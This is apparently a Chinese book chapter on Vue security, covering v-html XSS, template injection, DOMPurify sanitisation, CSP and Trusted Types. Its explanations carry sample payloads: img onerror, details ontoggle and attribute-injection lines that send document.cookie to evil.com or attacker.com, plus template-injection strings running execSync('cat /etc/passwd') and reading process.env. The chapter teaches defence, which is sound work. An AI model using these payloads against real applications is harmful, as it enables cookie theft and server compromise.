第 29 章

安全:v-html XSS 攻击面、模板注入与 CSP 防御策略

第29章:安全——v-html XSS 攻击面、模板注入与 CSP 防御策略

2019 年,某国内知名问答社区遭受大规模 XSS 攻击,攻击向量正是富文本编辑器输出的 HTML 内容未经服务端消毒直接渲染。攻击者注入的脚本在用户浏览器中自动发帖、关注账号,影响超过 100 万用户——而这类攻击在 Vue 应用中的入口,几乎都是 v-html

本章核心问题:Vue 内置了哪些 XSS 防护,哪些地方是攻击面,以及如何用 DOMPurify + CSP 构建纵深防御体系?

读完本章你将理解


Level 1 · 你需要知道的(1-3年经验)

1.1 Vue 的自动 XSS 防护:插值表达式的转义机制

Vue 的模板系统对插值表达式 {{ }} 进行自动 HTML 转义。这意味着即使用户输入了 HTML 标签,Vue 也会将其作为纯文本显示:

<template>
  <!-- 用户输入:<script>alert('xss')</script> -->
  <p>{{ userInput }}</p>
</template>

实际渲染到 DOM 的 HTML 是:

<p>&lt;script&gt;alert('xss')&lt;/script&gt;</p>

浏览器将 &lt;script&gt; 显示为文本字符 <script>,脚本不会执行。

Vue 的转义规则(对以下字符进行转义):

字符 转义后
< &lt;
> &gt;
" &quot;
' &#039;
& &amp;

这个转义在 Vue 内部的 createTextVNode 和运行时渲染过程中自动完成,开发者无需手动处理。

1.2 v-html:绕过自动转义的"必要之恶"

v-html 指令的用途是插入原始 HTML,它有意跳过了 Vue 的自动转义。这在渲染富文本内容(如 Markdown 转换后的 HTML、后台 CMS 内容)时是必要的,但同时也是最常见的 XSS 攻击入口。

危险用法

<!-- 极度危险:直接将用户输入插入 v-html -->
<template>
  <div v-html="userComment"></div>
</template>

如果 userComment 是:

<img src="x" onerror="fetch('https://evil.com/?cookie='+document.cookie)">

这段 HTML 会被插入 DOM,imgonerror 事件触发,攻击者获取到用户的 Cookie。

更隐蔽的攻击向量

<!-- 利用 HTML5 的新属性,不需要 script 标签 -->
<details open ontoggle="fetch('https://attacker.com/'+btoa(document.cookie))">
  <summary>点我查看详情</summary>
</details>

<!-- 利用 SVG -->
<svg><script>alert(document.domain)</script></svg>

<!-- 利用 CSS 表达式(IE 特有,现代浏览器不适用,但仍值得了解)-->
<div style="background:url('javascript:alert(1)')">

1.3 安全使用 v-html 的唯一前提

v-html 的安全使用有且只有一个前提:内容来源可信

什么叫"可信"?

  1. 内容由服务器生成(而不是用户输入)
  2. 服务器在存储/输出时已经过严格的 HTML 消毒(sanitization)
  3. 或者在客户端渲染前经过 DOMPurify 消毒

仅服务器端过滤特殊字符是不够的。常见的误解是:

// 服务器端处理:只替换了 < 和 >
const safeHTML = userInput.replace(/</g, '&lt;').replace(/>/g, '&gt;');

这种做法让攻击者无法注入 <script> 标签,但无法阻止基于属性的 XSS:

<!-- 攻击者输入的内容,没有 < > 符号 -->
<div id="safe" onmouseover="alert('xss')">Hover me</div>

1.4 DOMPurify:客户端 HTML 消毒

DOMPurify 是目前最可靠的客户端 HTML 消毒库,它解析 HTML,移除危险元素和属性,保留合法的格式化标签:

npm install dompurify
npm install @types/dompurify  # TypeScript 项目
<script setup>
import DOMPurify from 'dompurify';

const props = defineProps({
  content: String
});

// 消毒后再渲染
const safeContent = computed(() => DOMPurify.sanitize(props.content));
</script>

<template>
  <div v-html="safeContent"></div>
</template>

DOMPurify 的默认行为

操作 结果
<script> 标签 移除整个标签及其内容
onerroronclick 等事件属性 移除该属性
javascript: 链接 移除该属性
<b><i><p> 等安全标签 保留
<img src="..."> 保留(但移除事件属性)

自定义消毒规则

// 只允许特定的标签(更严格的白名单)
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'target'],
});

// 添加 hook:对所有链接添加 rel="noopener noreferrer"
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
  if (node.tagName === 'A') {
    node.setAttribute('rel', 'noopener noreferrer');
    node.setAttribute('target', '_blank');
  }
});

1.5 模板注入:比 XSS 更危险的攻击

模板注入(Template Injection)是指攻击者将内容注入到模板引擎的处理流程中,让模板引擎执行攻击者构造的代码。在 Vue 中,最常见的形式是动态编译用户输入的模板字符串:

// 极度危险!绝对禁止!
import { compile } from 'vue';

function renderUserTemplate(userInput) {
  // 用户输入:{{ $data.__proto__... }} 或各种恶意表达式
  const render = compile(userInput); // 等同于 eval(userInput)
  return render;
}

与 XSS 的区别

// 服务端 Vue SSR 模板注入的攻击示例
// 攻击者输入:
const maliciousTemplate = `
  {{ require('child_process').execSync('cat /etc/passwd').toString() }}
`;

// 如果服务器端动态编译这个模板...
// 攻击者就能读取 /etc/passwd 文件内容

Vue 3 运行时编译 API(vue/dist/vue.esm-bundler.js)包含 compiler,而生产用的 vue/dist/vue.runtime.esm-bundler.js 不包含。如果必须在运行时处理用户定义的"模板",应该用有限的白名单方式,而不是直接编译:

// 安全替代方案:使用预定义组件 + 配置
const allowedComponents = {
  'user-card': UserCard,
  'product-list': ProductList,
};

// 允许用户选择使用哪个组件,但不允许用户编写模板代码
const selectedComponent = allowedComponents[userInput] || DefaultComponent;

Level 2 · 它是怎么运行的(3-5年经验)

2.1 Vue 3 的 CSP 兼容性问题

内容安全策略(Content Security Policy,CSP)是浏览器的安全机制,通过 HTTP 响应头控制页面可以执行哪些脚本:

Content-Security-Policy: default-src 'self'; script-src 'self'

这个 CSP 策略禁止了内联脚本和 eval(),但 Vue 3 的运行时编译器使用 new Function() 来编译模板,而 new Function() 在严格 CSP 下被视为等同于 eval,会被阻止:

// Vue 3 内部编译器的简化原理
function compileTemplate(template) {
  const code = generateCode(template); // 生成 JavaScript 代码字符串
  return new Function('Vue', code);   // 等同于 eval!
}

受影响场景

<!-- 场景1:直接在 HTML 中使用 Vue(CDN 引入,不经过 Vite/webpack 编译) -->
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<div id="app">{{ message }}</div>
<script>
Vue.createApp({ data() { return { message: 'Hello' } } }).mount('#app');
</script>
<!-- 在严格 CSP 下,Vue 无法编译 {{ message }} 模板 → 报错 -->

<!-- 场景2:使用 .vue 文件但没有预编译(极少见) -->

CSP 兼容的解决方案

方案A(推荐):使用 Vite/webpack 预编译

Vite 的 @vitejs/plugin-vue 在构建时将 .vue 文件中的模板编译为 JavaScript 渲染函数。最终打包产物不包含运行时编译器,不需要 unsafe-eval

// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';

export default defineConfig({
  plugins: [vue()],
  // 使用 vue.runtime.esm-bundler(不含编译器)
  resolve: {
    alias: {
      'vue': 'vue/dist/vue.runtime.esm-bundler.js'
    }
  }
});

方案B(不推荐):在 CSP 中允许 unsafe-eval

Content-Security-Policy: script-src 'self' 'unsafe-eval'

允许 unsafe-eval 会大幅削弱 CSP 的防护效果,通常只在开发环境中允许。

2.2 Vue 3 模板编译器的安全设计

Vue 的模板编译器本身有一定的安全设计。编译后的渲染函数只能访问组件实例上的数据和 Vue 提供的全局函数,不能直接访问 windowdocument 等全局对象:

// Vue 3 内部的模板编译沙箱(packages/compiler-core/src/runtimeHelpers.ts)

// 编译出的渲染函数接受 _ctx 参数(组件实例代理)
// 对全局访问做了白名单限制
const allowedGlobals = new Set([
  'Infinity', 'undefined', 'NaN', 'isFinite', 'isNaN',
  'parseFloat', 'parseInt', 'decodeURI', 'decodeURIComponent',
  'encodeURI', 'encodeURIComponent', 'Math', 'Number', 'Date',
  'Array', 'Object', 'Boolean', 'String', 'RegExp', 'Map',
  'Set', 'JSON', 'Intl', 'BigInt', 'console', 'Error',
  'Symbol'
]);

但这个沙箱不适用于运行时动态编译用户输入,因为攻击者可以通过原型链访问逃逸沙箱。

2.3 XSS 防御的纵深体系

正确的 XSS 防御应该是多层次的:

用户输入
    │
    ▼
┌───────────────────────────────────────┐
│  第1层:输入验证(前端)               │
│  - 检查格式(email/phone/URL)         │
│  - 长度限制                            │
│  - 但不依赖前端验证作为安全防线        │
└──────────────────┬────────────────────┘
                   │
                   ▼
┌───────────────────────────────────────┐
│  第2层:服务端消毒(必须)              │
│  - 解析 HTML,应用白名单标签/属性      │
│  - 使用 DOMPurify(服务端)/Bleach(Python)│
│  - 存入数据库之前消毒                  │
└──────────────────┬────────────────────┘
                   │
                   ▼
┌───────────────────────────────────────┐
│  第3层:输出转义(Vue 自动完成)        │
│  - {{ }} 插值自动 HTML 转义            │
│  - v-html 用 DOMPurify 二次消毒        │
└──────────────────┬────────────────────┘
                   │
                   ▼
┌───────────────────────────────────────┐
│  第4层:CSP(浏览器安全策略)           │
│  - 即使前三层都失败,CSP 仍能阻止      │
│  - 注入的脚本因 CSP 被阻止执行         │
│  - 报告 CSP 违规到监控系统             │
└───────────────────────────────────────┘

2.4 配置 Nginx CSP 响应头

生产环境的 CSP 配置示例:

# nginx.conf
server {
  # 严格的 CSP:不允许 eval,只允许自身域名的脚本
  add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-{RANDOM_NONCE}';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.yourdomain.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    report-uri /csp-report;
  " always;
  
  # 防止点击劫持
  add_header X-Frame-Options "DENY" always;
  
  # 防止 MIME 类型嗅探
  add_header X-Content-Type-Options "nosniff" always;
  
  # 强制 HTTPS
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}

基于 nonce 的 CSP(更精确的内联脚本控制):

// 服务器端生成随机 nonce
const nonce = crypto.randomBytes(16).toString('base64');

// 在 SSR 渲染时注入 nonce
const html = await renderToString(app);
const page = `
  <html>
    <head>
      <script nonce="${nonce}" src="/bundle.js"></script>
    </head>
    <body>${html}</body>
  </html>
`;

// CSP 响应头
res.setHeader('Content-Security-Policy', 
  `script-src 'nonce-${nonce}' 'strict-dynamic'`
);

2.5 依赖供应链安全

XSS 攻击不一定来自用户输入,也可能来自被恶意修改的 npm 依赖包:

2021 年 ua-parser-js 事件:这个每周下载量超过 700 万次的包被攻击者控制,注入了密码窃取和门罗币挖矿脚本,影响了无数下游项目。

防御措施

# 定期检查依赖漏洞
npm audit

# 自动修复
npm audit fix

# 检查是否有已知恶意包
npx is-website-vulnerable https://yoursite.com

锁定依赖版本package-lock.json):

// package.json
{
  "dependencies": {
    "some-lib": "1.2.3"  // 使用精确版本,不用 ^ 或 ~
  }
}

Subresource Integrity(SRI)(CDN 资源的完整性校验):

<!-- 使用 CDN 时,添加 integrity 属性 -->
<script
  src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.global.min.js"
  integrity="sha384-[hash]"
  crossorigin="anonymous">
</script>

如果 CDN 上的文件被篡改,SRI 哈希不匹配,浏览器拒绝加载。


Level 3 · 设计文档与源码(资深开发者)

3.1 Vue 3 插值转义的源码实现

Vue 3 的模板编译器在处理插值表达式时,生成的代码调用 toDisplayString,而不是直接输出值:

// packages/runtime-core/src/helpers/toDisplayString.ts
export const toDisplayString = (val: unknown): string => {
  return isString(val)
    ? val
    : val == null
    ? ''
    : isArray(val) || (isObject(val) && (val.toString === objectToString || !isFunction(val.toString)))
    ? JSON.stringify(val, replacer, 2)
    : String(val);
};

等等,toDisplayString 没有做 HTML 转义?

实际上,插值的转义发生在 DOM 操作层面。当 Vue 调用 createTextVNode(toDisplayString(value)) 时,创建的是文本节点document.createTextNode()),不是 HTML 节点。文本节点天然不解析 HTML,所以不需要显式转义。

// packages/runtime-dom/src/nodeOps.ts
const nodeOps: Omit<RendererOptions<Node, Element>, 'patchProp'> = {
  // 创建文本节点(不解析 HTML)
  createText: text => doc.createTextNode(text),
  
  // 设置文本内容(不解析 HTML)
  setText: (node, text) => {
    node.nodeValue = text;  // 直接设置 nodeValue,不走 innerHTML
  },
  
  // 设置元素文本(不解析 HTML)
  setElementText: (el, text) => {
    el.textContent = text;  // textContent 不解析 HTML
  },
};

关键区别

3.2 v-html 的 DOM 操作实现

// packages/runtime-dom/src/modules/innerHTML.ts
export const patchDOMProp = (
  el: any,
  key: string,
  value: any,
  // ...
) => {
  if (key === 'innerHTML' || key === 'textContent') {
    el[key] = value == null ? '' : value;
    return;
  }
  // ...
};

v-html="someValue" 在编译后会生成:

// 编译后的渲染函数(简化)
function render(_ctx) {
  return createElementVNode('div', {
    innerHTML: _ctx.someValue  // 直接传递给 innerHTML,没有任何转义
  });
}

这就是为什么 v-html 是危险的:它直接使用了 innerHTML

3.3 Vue 3 的模板编译沙箱

Vue 3 的模板编译器对模板中可访问的全局变量有白名单限制:

// packages/compiler-core/src/utils.ts
export const GLOBALS_ALLOWED =
  'Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,' +
  'decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt,console,Error,Symbol'

export const isGloballyAllowed = /*#__PURE__*/ makeMap(GLOBALS_ALLOWED);

在模板中访问这些全局变量以外的内容,会被编译器警告:

<!-- 这会在编译时报警告 -->
<template>
  <!-- 警告:'window' is not defined in templates -->
  {{ window.location.href }}
</template>

但在运行时编译(直接调用 compile() 函数)时,沙箱依然可能被绕过,因为攻击者可以通过原型链逃逸:

// 模板注入攻击示例(演示目的,不要在生产环境使用)
const maliciousTemplate = `
  {{ constructor.constructor('return process.env')() }}
`;

3.4 Trusted Types API:下一代 DOM XSS 防御

Chrome 浏览器支持 Trusted Types API,它要求所有 innerHTMLeval 等危险操作必须通过"信任类型"策略:

// 创建 Trusted Types 策略
const policy = trustedTypes.createPolicy('vue-dompurify', {
  createHTML: (dirty) => DOMPurify.sanitize(dirty, {
    RETURN_TRUSTED_TYPE: true
  }),
});

// 在 Vue 应用中注册全局消毒
app.directive('safe-html', {
  mounted(el, binding) {
    el.innerHTML = policy.createHTML(binding.value);
  },
  updated(el, binding) {
    el.innerHTML = policy.createHTML(binding.value);
  }
});

CSP 中启用 Trusted Types:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types vue-dompurify

Level 4 · 边界与陷阱(全体适用)

陷阱 1:认为服务端过滤了 < > 就能安全使用 v-html

错误认知

# 服务端(Python)
def sanitize(text):
    return text.replace('<', '&lt;').replace('>', '&gt;')

# 看似安全,实际上仍有 XSS 风险
safe_text = sanitize(user_input)

攻击向量(不使用 < > 的 XSS):

<!-- 攻击者输入(没有 <> 符号):-->
" onmouseover="fetch('https://attacker.com/?x='+document.cookie)" data-x="

<!-- 当这个值被插入到如下标签时:-->
<div class="{{ user_input }}">content</div>

<!-- 渲染结果:-->
<div class="" onmouseover="fetch(...)" data-x="">content</div>

教训:HTML 属性中的 XSS 和标签注入 XSS 是不同的攻击向量,只过滤 <> 不够。必须使用 DOMPurify 这样的专业工具。

陷阱 2:SSR 场景下 v-html 的 XSS 危害更大

在 CSR(客户端渲染)场景下,XSS 的影响是当前用户。但在 SSR 场景下,如果 XSS payload 被持久化存储并在 SSR 时渲染,可能影响所有访问该页面的用户:

// Nuxt 3 的 SSR 场景
// 如果数据库中存储了恶意 HTML,服务端渲染时就会注入到所有用户的 HTML
const { data: article } = await useFetch(`/api/articles/${id}`);
<!-- 危险!SSR 时这段内容直接进入 HTML 流 -->
<div v-html="article.content"></div>

正确做法:在 Nuxt 的数据处理层添加消毒:

// server/api/articles/[id].get.ts
import DOMPurify from 'isomorphic-dompurify'; // 支持 Node.js 的 DOMPurify

export default defineEventHandler(async (event) => {
  const article = await db.findArticle(getRouterParam(event, 'id'));
  
  // 在 API 层消毒,确保无论 CSR 还是 SSR 都安全
  article.content = DOMPurify.sanitize(article.content);
  
  return article;
});

陷阱 3:动态生成 v-html 的内容时遗漏某些输入来源

错误场景:开发者对"用户输入"做了消毒,但遗漏了其他来源:

<script setup>
import DOMPurify from 'dompurify';

const props = defineProps({
  userComment: String,  // ✓ 用户输入,做了消毒
  adminNote: String,    // ✗ "管理员输入",误以为可信,没消毒
  markdownHtml: String, // ✗ Markdown 解析器的输出,误以为安全
});

// 只消毒了 userComment
const safeComment = computed(() => DOMPurify.sanitize(props.userComment));
</script>

<template>
  <div v-html="safeComment"></div>
  <!-- 危险!管理员账户被 XSS 攻击也会导致 adminNote 被污染 -->
  <div v-html="adminNote"></div>
  <!-- 危险!部分 Markdown 解析器不消毒输出 -->
  <div v-html="markdownHtml"></div>
</template>

正确原则所有 v-html 的内容都必须消毒,没有例外,包括:

// marked + DOMPurify 的正确组合
import { marked } from 'marked';
import DOMPurify from 'dompurify';

const renderMarkdown = (md) => DOMPurify.sanitize(marked.parse(md));

陷阱 4:CSP nonce 在 SPA 中的误用

错误场景:在 SPA 的 index.html 中设置固定 nonce:

<!-- index.html(静态文件) -->
<script nonce="abc123" src="/bundle.js"></script>

问题:SPA 的 index.html 通常是静态文件,被 CDN 缓存。如果 nonce 是固定值,攻击者一旦获知这个值,CSP 就形同虚设。nonce 必须是每次请求随机生成的

正确场景:nonce 只在 SSR(服务端渲染)中才有意义,因为每次请求服务器都能生成新的随机 nonce:

// Nuxt 3 的 CSP nonce 配置
// nuxt.config.ts
export default defineNuxtConfig({
  security: {
    nonce: true, // 每个请求生成随机 nonce
    headers: {
      contentSecurityPolicy: {
        'script-src': ["'self'", "'nonce-{{nonce}}'"],
      }
    }
  }
});

对于纯 SPA(没有 SSR),应使用基于 hash 的 CSP 而不是 nonce:

Content-Security-Policy: script-src 'self' 'sha256-[hash of your bundle]'

本章小结

  1. 插值表达式天然安全,v-html 天然危险{{ }} 使用文本节点(textContent)渲染,不解析 HTML;v-html 使用 innerHTML,直接解析 HTML——这是 Vue XSS 防护的核心边界。

  2. DOMPurify 是 v-html 的必要伴侣:所有 v-html 的内容在渲染前都应经过 DOMPurify.sanitize(),无论来源是用户输入、管理员输入还是第三方 API——没有例外。

  3. 模板注入比 XSS 危害更大:动态编译用户输入的模板字符串等同于服务端 eval,可读取文件系统和环境变量;必须用配置驱动的白名单组件替代动态模板。

  4. Vue 3 默认需要 unsafe-eval:运行时编译器使用 new Function() 编译模板,在严格 CSP 下被阻止;解决方案是使用 Vite 预编译(生产环境标准做法),不要在 CSP 中允许 unsafe-eval

  5. 纵深防御是唯一可靠策略:服务端消毒 + 客户端 DOMPurify + CSP + SRI 四层防御,任何一层都可能存在遗漏,多层叠加才能真正阻止 XSS 攻击的渗透。

本章评分
4.9  / 5  (3 评分)

💬 留言讨论